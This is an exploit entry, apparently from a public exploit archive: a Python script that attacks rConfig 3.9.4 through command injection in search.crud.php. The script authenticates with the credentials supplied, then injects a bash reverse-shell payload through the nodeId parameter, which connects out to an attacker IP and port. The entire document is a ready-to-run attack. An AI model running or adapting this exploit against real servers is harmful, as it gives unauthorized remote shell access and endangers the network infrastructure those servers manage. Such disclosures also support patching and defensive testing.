rConfig 3.9.4 Remote Command Injection

`# Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection  
# Date: 2020-03-21  
# Exploit Author: Matthew Aberegg, Michael Burkey  
# Vendor Homepage: https://www.rconfig.com  
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip  
# Version: rConfig 3.9.4  
# Tested on: Cent OS 7 (1908)  
  
#!/usr/bin/python3  
  
import requests  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
if len(sys.argv) != 6:  
print("[~] Usage : https://rconfig_host, Username, Password, Attacker IP, Attacker Port")  
exit()  
  
host = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
attacker_ip = sys.argv[4]  
attacker_port = sys.argv[5]  
  
login_url = host + "/lib/crud/userprocess.php"  
payload = "|| bash -i >& /dev/tcp/{0}/{1} 0>&1 ;".format(attacker_ip, attacker_port)  
encoded_payload = urllib.parse.quote_plus(payload)  
  
  
def exploit():  
s = requests.Session()  
  
res = s.post(  
login_url,  
data={  
'user': username,  
'pass': password,  
'sublogin': 1  
},  
verify=False,  
allow_redirects=True  
)  
  
injection_url = "{0}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&nodeId={1}&catCommand=showcdpneigh*.txt&noLines=".format(host, encoded_payload)  
res = s.get(injection_url, verify=False)  
  
if res.status_code != 200:  
print("[~] Failed to connect")  
  
  
if __name__ == '__main__':  
exploit()  
`